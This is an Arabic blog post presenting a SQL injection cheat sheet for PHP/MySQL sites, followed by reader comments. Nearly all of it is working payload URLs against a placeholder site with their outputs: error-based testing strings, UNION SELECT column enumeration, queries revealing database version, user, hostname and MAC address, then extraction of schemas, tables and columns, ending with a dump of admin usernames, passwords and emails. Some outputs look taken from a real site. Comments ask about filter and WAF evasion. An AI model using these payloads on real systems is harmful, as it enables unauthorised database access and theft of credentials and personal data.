SQL injection Cheat Sheet – Php/MySQL

[toc]

 

 1. مقدمة

لا يخفى على أحد أهمية ثغرات حقن قواعد البيانات ومدى خطورتها على المواقع والتطبيقات و بالطبع على المعلومات. في هذا الموضوع لن اقوم بشرح مفاهيم ثغرات حقن القواعد وأنواعها بل سيكون بمثابة مراجعة سريعة على الخطوات العملية دون التعرض لأي مبادئ أو مفاهيم مما يؤكد أن هذا الموضوع لا يغنيك أبدا عن القراءة وفهم أصل وطبيعة هذا النوع من الثغرات. سنركز على حقن قواعد بيانات MySQL مع تطبيقات PHP.

 

سيكون بطل هذا الموضوع هو الرابط التالي :

http://Vulnerable-Site.ext/news_detail.php?id=9

[box style=”alert”]
أي تشابه في روابط أو مخرجات هذا الشرح مع أي موقع حقيقي هو بمحض الصدفة.
[/box]

[box style=”info”]
لمعرفة أخطر 10 ثغرات على تطبيقات الويب , الرجاء زيارة موقع OWASP و المهتم بكل ما يتعلق بحماية تطبيقات الويب بجيمع أنواعها.
[/box]

 

2. Test Vulnerability

ثغرات الحقن متنوعة ومختلفة في طبيعتها وطرق استغلالها لكنها تسري تحت نفس المبادئ. في الجدول التالي بعض الرموز المستخدمة للتأكد من وجود ثغرة في الموقع

[gn_table style=”1″]

‘” ‘ or 1=1 ‘ or 1=1–
” or 1=1– ‘ or 1=1– ‘ or 1=1# or 1=1/* ‘or 1=1/*
or 1=1;%00 or a=a ‘or a=a or a=a– or a=a#
/**/’ ‘or 1=1;%00 “or 1=1;%00 ‘)or(‘a’=’a’ “)””a”=”a”
‘or”=’

[/gn_table]

في حالة تنفيذ إحدى الرموز السابقة وظهر لك خطأ في قواعد البيانات -على سبيل المثال لا الحصر – كالتالي

 

Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”’ at line 1 Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /var/www/listproducts.php on line 74

أو

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”’ at line 1

 

فإن احتمالية ان الموقع مصاب تصبح كبيرة و نسطيع التأكد بتجربة أكثر من رمز من الرموز الموضحة في الجدول اعلاه

3. Enumeration

لنسهل الأمر على أنفسنا, دعنا نطرح السؤال التالي:

ما هي البيانات اللتي نحتاجها أو الممكن جمعها من هذه الثغرة؟

الإجابة, في الفقرات التالية

 

3.1. Database type

أسهل طريقة لمعرفة نوع قاعدة البيانات هو عن طريق الخطأ الذي يظهر عن اختبار الثغرة فمثلا

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”’ at line 1

يتضح لنا أن قاعدة البيانات هي MySQL

مثال أخر

Microsoft SQL Native Client error ‘80040e14’

Unclosed quotation mark after the character string ”.

/showforum.asp, line 9

ظهر أن قاعدة البيانات هي MSSQL او Microsoft SQL server

مثال أخر

ORA-01756: quoted string not properly terminated

وهنا قاعدة البيانات هي Oracle

هناك اختلافات في طريقة حقن القواعد بين قاعدة وأخرى وكما ذكرنا موضوعنا هذا سيكون على قواعد بيانات MySQL مع تطبيقات PHP حيث الأكثر استخداما معاً.

 

3.2. Enumerate number of columns in the database’s table

الأن نريد أن نعرف عدد الأعمدة في جداول قاعدة البيانات الحالية , بحكم أننا لا نعرف عدد الأعمدة بالظبط فإننا سنقوم بإضافة مجموعة من العمليات التصاعدية/التنازلية حتى [gn_highlight bg=”#ff6042″ color=”#000000″]يختفي الخطأ[/gn_highlight] و الذي يدل على أن عدد أعمدة الجدول مختلف -بالنقص أو الزيادة- عن العدد الذي طلبته عن طريق الاستعلام.
مثال لشكل الخطأ

The used SELECT statements have a different number of columns

هناك عدة طرق وسنذكر منها

  • باستخدام  الأرقام  مع  UNION SELECT

بحكم أننا لا نعرف عدد الأعمدة فإننا سنقوم بإضافة مجموعة من الأرقام التصاعدية حتى يختفي الخطأ و الذي يدل على أن للأعمدة عدد مختلف عن الذي طلبته
http://Vulnerable-Site.ext/news_detail.php?id=9 UNION SELECT 1,2,3,4,5#
ظهر لنا خطأ!
http://Vulnerable-Site.ext/news_detail.php?id=9 UNION SELECT 1,2,3,4,5,6#
ظهر لنا خطأ!
http://Vulnerable-Site.ext/news_detail.php?id=9 UNION SELECT 1,2,3,4,5,6,7#
ذهب الخطأ وظهرت لنا صفحة الموقع!

  • باستخدام NULL  مع  UNION SELECT

http://Vulnerable-Site.ext/news_detail.php?id=9 UNION SELECT NULL,NULL,NULL,NULL,NULL
ظهر لنا خطأ!  سنستمر في زيادة عدد الـ NULL حتى يخفتي الخطأ
http://Vulnerable-Site.ext/news_detail.php?id=9 UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL
ظهر لنا خطأ!
http://Vulnerable-Site.ext/news_detail.php?id=9 UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL
ذهب الخطأ وظهرت لنا صفحة الموقع!

  • باستخدام الأرقام مع  ORDER BYأنصح بهذه الطريقة

http://Vulnerable-Site.ext/news_detail.php?id=9 ORDER BY 20
ظهر لنا خطأ! سنستمر في إنقاص العدد حتى يخفتي الخطأ
http://Vulnerable-Site.ext/news_detail.php?id=9 ORDER BY 8
ظهر لنا خطأ!
http://Vulnerable-Site.ext/news_detail.php?id=9 ORDER BY 7
ذهب الخطأ وظهرت لنا صفحة الموقع!

إذناً نستنج أن عدد الأعمدة هو 7 أعمدة

[box style=”tip”]
جرب إضافة علامة الناقص مرتين متتابعتين بدون مسافات “–” أو الناقص مرتين متتابعتين بدون مسافا تتبعها واحدة إضافية قبلها مسافه “– -” أو “#” أو “/**/” في نهاية الاستعلام
http://Vulnerable-Site.ext/news_detail.php?id=9 UNION SELECT 1,2,3,4,5,6,7--
http://Vulnerable-Site.ext/news_detail.php?id=9 UNION SELECT 1,2,3,4,5,6,7-- -
http://Vulnerable-Site.ext/news_detail.php?id=9 order by 7#
[/box]

[box style=”tip”]
استخدمنا UNION SELECT , جرب أيضا مخرجات UNION ALL SELECT في ما طبقناه سابقا وما سنطبقه لاحقا وقارن المخرجات ,,
http://Vulnerable-Site.ext/news_detail.php?id=9 UNION ALL SELECT 1,2,3,4,5,6,7--
[/box]

[box style=”info”]
زيادة الأعداد أو NULLs بناء على بدايتك فإذا وضعت في البداية عدد قليل مثل 1 فابدأ بزيادتها, وإذا بدأت بعدد كبير مثل 50 فابدأ بإنقاصها.
[/box]

 

3.3. Enumerate Vulnerable column(s)

بعد أن عرفنا عدد الأعمدة بالظبط, نريد أن نعرف العامود/الأعمدة المصابة والتي يمكن أن نحقن استعالاماتنا فيها للتفاعل مع القواعد بالطريقة التالية

http://Vulnerable-Site.ext/news_detail.php?id=-9 UNION SELECT 1,2,3,4,5,6,7--

[box style=”alert”]
لاحظ علامة ” – ” قبل المتغير. لا تنسى وضعها فسترافقنا إلى النهاية!.
[/box]

الأن دقق في الصفحة جيدا سيظهر لك رقم أو عدة أرقام مختلفة في أماكن مختلفة من الصفحة

شكل الصفحة قبل الاستعلام
Before SQL

شكل الصفحة بعد تطبيق الاستعلام
After SQLi
[box style=”tip”]
ليس كل المواقع تظهر فيها الأرقام بهذا الوضوح, ابحث جيدا في الصفحة فقط تكون في الـHeader أو الـ Footer أو في Sidebar
[/box]

نستنتج أن الأعمدة المصابة هي  2 و 3 و 5 و 7

 

3.4. Enumerate Database version

هناك طريقتين لإظهار إصدار قاعدة البيانات

  • باستخدام VERSION()
  • باستخدام VERSION@@

http://Vulnerable-Site.ext/news_detail.php?id=-9 UNION SELECT 1,2,version(),4,5,6,7--
http://Vulnerable-Site.ext/news_detail.php?id=-9 UNION SELECT 1,2,@@version,4,5,6,7--

[gn_label style=”success”]المـخـرجـات[/gn_label]

5.0.51b-community-nt-log

 

3.5. Enumerate Database name

اسم قاعدة البيانات الحالية التي نعمل عليها

  • باستخدام DATABASE()

http://Vulnerable-Site.ext/news_detail.php?id=-9 UNION SELECT 1,2,DATABASE(),4,5,6,7--

[gn_label style=”success”]المـخـرجـات[/gn_label]

nilakantatrust

 

3.6. Enumerate Database user

اسم المستخدم لقاعدة البيانات الحالية التي نعمل عليها

  • باستخدام USER()

http://Vulnerable-Site.ext/news_detail.php?id=-9 UNION SELECT 1,2,USER(),4,5,6,7--

[gn_label style=”success”]المـخـرجـات[/gn_label]

rmishra@localhost

[box style=”info”]
ومن هنا نسنتج أيضا أن القاعدة على نفس الخادم وليس خادم أخر
[/box]

 

3.7. Enumerate server hostname

اسم الخادم الذي يعمل عليه الموقع

  • باستخدام @@HOSTNAME

http://Vulnerable-Site.ext/news_detail.php?id=-9 UNION SELECT 1,2,@@HOSTNAME,4,5,6,7--

[gn_label style=”success”]المـخـرجـات[/gn_label]

winvserv1

[box style=”info”]
– قد لا يظهر لنا مسح الخادم باستخدام الـ nmap نوع الخادم لكننا استفدنا من اسم الخادم أنه Windows server
– بعض الأحيان يكون الموقع يعمل على أكثر من خادم كـ Load balancing قد يكشف لكن الإسم ذلك ولسنا بصدد تفاصيل هذا
[/box]

 

3.8. Enumerate server MAC address

استخراج الـ MAC address للخادم.

  • باستخدام UUID()

http://Vulnerable-Site.ext/news_detail.php?id=-9 UNION SELECT 1,2,UUID(),4,5,6,7--

[gn_label style=”success”]المـخـرجـات[/gn_label]

70cc11f4-5984-11e2-bbf9-001c4239ab0a

 

3.9. Enumerate All Together

نجمع جميع ما سبق في استعلام واحد!

http://Vulnerable-Site.ext/news_detail.php?id=-9 UNION SELECT 1,2,CONCAT_WS(CHAR(32,58,32),HOSTNAME(),USER(),DATABASE(),VERSION()),4,5,6,7--

[gn_label style=”success”]المـخـرجـات[/gn_label]

rmishra@localhost : nilakantatrust : 5.0.51b-community-nt-log

[box style=”alert”]
– ليس بالضرورة أن تعمل معك كل الدوال السابقة وغيرها, على سبيل المثال قد لا تعمل معك دالة HOSTNAME() أو UUID() فلا تقلق فنحن دائما نحاول جمع أكبر قدر من المعلومات.
– بعض المعلومات قد لا تفيدك بشكل مباشر لكنها قد تكون مؤشر إلى شئ آخر كـ صلاحيات هذا المستخدم على قاعدة أو قواعدة البيانات مثلا.
[/box]

4. Exploiting / Extracting

وكالعادة, قبل أن نبدأ في خطوة نسأل أنفسنا ماذا نريد من هذه الخطوة؟

4.1. List all databases

نعرض جميع قواعد البيانات الموجودة. حقن [gn_highlight bg=”#B2B2B2″ color=”#000000″]GROUP_CONCAT(schema_name)[/gn_highlight] مع [gn_highlight bg=”#B2B2B2″ color=”#000000″]from information_chema.schemata[/gn_highlight] ستعرض لنا جميع قواعد البيانات المستخدمة من خلال التطبيق.

http://Vulnerable-Site.ext/news_detail.php?id=-9 UNION SELECT 1,2,group_concat(schema_name),4,5,6,7 from information_schema.schemata--

[gn_label style=”success”]المـخـرجـات[/gn_label]

information_schema,nilakantatrust

 

4.2. Extracting tables from the database

[gn_label style=”default”]استخراج الجداول من القاعدة الحالية[/gn_label]

http://Vulnerable-Site.ext/news_detail.php?id=-9 UNION SELECT 1,2,group_concat(table_name),4,5,6,7 from information_schema.tables where table_schema=database()--

[gn_label style=”success”]المـخـرجـات[/gn_label]

est_achievement,est_admin,est_adminlog,est_companyrecord,est_facprofile,est_news,est_notice,est_onlineapplication,est_placementrecord

هناك طريقتين أخراتين لعرض جميع جميع الجداول سأعرضهم بسرعة
[gn_label style=”default”]استخراج جميع الجداول –> 1 [/gn_label]
http://Vulnerable-Site.ext/news_detail.php?id=-9 UNION SELECT 1,2,group_concat(table_name),4,5,6,7 from information_schema.tables--

[gn_label style=”default”]استخراج جميع الجداول –> 2 [/gn_label]
http://Vulnerable-Site.ext/news_detail.php?id=-9 UNION SELECT 1,2,group_concat(table_name),4,5,6,7 from information_schema.tables where version=10;

[gn_label style=”success”]المـخـرجـات[/gn_label]

st_adminlog,est_companyrecord,est_facp etc est_achievement,est_admin,est_adminlog, est_companyrecord,est_facprofile,est_news,est_notice,est_onlineapplication,est_placementrecord

[box style=”green”]
يتم إسناد القيم بناء على إصدار الـ MySQL. القيمة 10 للإصدارات 5 و القيمة 9 للإصدارات 4
version=10 for MySQL v5
version=9 for MySQL v4
[/box]

[box style=”red”]
لاحظ أننا حصلنا على جدول مهم , est_admin
[/box]

 

4.3. Extracting columns from the tables

استخراج الأعمدة من الجداول ولها طريقتين
[gn_label style=”default”]1- Extracting from all tables[/gn_label]
استخراج أعمدة جميع الجداول في القاعدة الحالية
http://Vulnerable-Site.ext/news_detail.php?id=-9 UNION SELECT 1,2,group_concat(column_name),4,5,6,7 from information_schema.columns where table_schema=database()--

[gn_label style=”success”]المـخـرجـات[/gn_label]

ach_id,ach_title,ach_detail,ach_type,ach_date,ach_status,ach_pdf,uid,userid,password,emailid,signature,last_login,
uid,ipaddress,act_date,module,action,description,c_snum,c_name,c_photo,fac_snum,fac_name,fac_designation,fac_dept,fac_qualification,
fac_email,fac_phone,fac_residence,fac_photo,fac_experience,
fac_publication,fac_uid,fac_pwd,news_id,news_title,news_detail,
news_type,news_date,news_status,news_pdf,notice_id,notice_title,
notice_detail,notice_type,notice_date,notice_status,sno,trade,name,
sex,dob,nri,laddress,paddress,email,pin,phone,mobile,caste,pname,
prelation,poccupation,pincome,pphone,pmobile,pemail,lname,lrelation,
loccupation,lincome,lphone,lmobile,lemail,marksheet,status,date,snum,
sname,batch,branch,company,s_photo

 

[gn_label style=”default”]2- Extracting from specific table[/gn_label]
استخراج اعمدة جدول معين
http://Vulnerable-Site.ext/news_detail.php?id=-9 UNION SELECT 1,2,group_concat(column_name),4,5,6,7 from information_schema.columns where table_name=est_admin--
[gn_label style=”success”]المـخـرجـات[/gn_label]
بهذا الشكل سيخرج لك خطأ ولن تحصل على معلومة. لهذا يجب عليك أن تحول ترميز اسم الجدول إلى Hex وأسهل طريقة لهذا هو عن طريق إضافة HackBar في الفاير الفايرفوكس هكذا
Encoding >> HEX encoding >> String to 00ff00ff

نضع اسم الجدول وفي حالتنا اسمه “est_admin” سيخرج لنا القيمة “6573745f61646d696e”. نأخذ القيمة الجديدة ونضع قبلها  0x  ثم نضعها في مكان اسم الجدول كالتالي
http://Vulnerable-Site.ext/news_detail.php?id=-9 UNION SELECT 1,2,group_concat(column_name),4,5,6,7 from information_schema.columns where table_name=0x6573745f61646d696e--

[gn_label style=”success”]المـخـرجـات[/gn_label]

uid,userid,password,emailid,signature,last_login

 

4.4. Extracting information from the columns

الأن دعنا نعرض جميع المستخدمين مع كلمات المرور و بريدهم الإلكتروني
http://Vulnerable-Site.ext/news_detail.php?id=-9 UNION SELECT 1,2,group_concat(userid,password,emailid),4,5,6,7 from est_admin--

[box style=”info”]
القيمة ” 0x3a ” تعني العلامة ” : ” وهنا نستخدما لتحسين عرض البيانات
[/box]
[box style=”tip”]
جرب ان تنفذ الاستعلام بالطريقة التالية
http://Vulnerable-Site.ext/news_detail.php?id=-9 UNION SELECT 1,2,group_concat(userid,0x3a,password,0x3a,emailid),4,5,6,7 from est_admin--
[/box]

[gn_label style=”success”]المـخـرجـات[/gn_label]

user1:User1Password:[email protected]
user2:User2Password:[email protected]
.
.
userX:UserXPassword:[email protected]

 

[box style=”info”]
أخيرا وليس آخرا, هذا الموضوع قابل للتحديث كلما سمح الوقت والجهد, كما أن الإضافات على الموضوع مرحب بها.
[/box]

نبذة عن الكاتب

المهندس صبري صالح. مهندس حماية شبكات و أنظمة و فحصها معالجة و تحليل الأحداث الأمنية و المسؤول عن تطبيق معايير الـ ISO 27001 , يعمل في بيئات متعددة المنصات. حاصل على عدة شهادات تقنية.

التعليقات:

اترك تعليقاً | عدد التعليقات: (13)

  1. يقول B!n@ry:

    الله يعطيك ألف عافية أخي صبري … ما شاء الله شغل ولا أروع … كالعادة لا تكتب إلا مواضيع روعة بصراحة وكلها طويلة للغاية 🙂

    سأقوم بإضافتها الى قائمة المراجع لطلابي بدون أدنى شك … شكراً لك والله يوفقك إن شاء الله …

  2. يقول صبري صالح:

    تسلم يا دكتور, والحمدلله إن الموضوع عجبك مع أني ما حطيت فيه جزئين قويين لأني مالقيت وقت

    حياك الله أنت وطلابك 🙂

  3. يقول بشار:

    ابداع يا صبري تسلم ايدك يا صديقي. احد افضل المواضيع في الموقع.

  4. يقول سامر مقدادي:

    موضوع مفيد جدا… محتاج lab حتى نجرب كل الامثلة .. شكرا صبري

  5. يقول unex:

    هل جربت ان تستعمل id=(1-1 ) لتجنب blacklisting لل special char ؟

  6. يقول marocan:

    شكرا استاذ موضوع جميل

  7. يقول th3 k1r4:

    اخي شكرا لك على الموضوع الرائع صراحة فالموضوع متعوب عليه اخي فقط طلب ان امكن ان تكمل فقرة Sanitization and WAF bypass لانها الفقرة الوحيدة التي وجدت صعوبة في استيعابها ولك مني اخي جزيل الشكر والتقدير

  8. يقول wehans libya:

    مشكووووووووووووووووور بس ياريت مساعدة في ثغرات asp.net

  9. يقول tamdo:

    لو ممكن حضرتك تعطينا بعض المصادر للاستزاده

  10. يقول moncefplastin:

    ممكن ترسل لي فيديو توضيحي يا اخ انا لم اعرف كيف اجرب الرموز
    وانا اول مرة ادرس عن الثغرات

  11. يقول ت:

    https://www.sec-4-it.com/2020/05/injection-attacks.html
    لو حد اكتشف ثغره من دول هيبقي اشهر واحد في مصر
    طرق الانجيكشن اتاك موجوده هنا
    Injection Attacks

أكتب تعليق على صبري صالح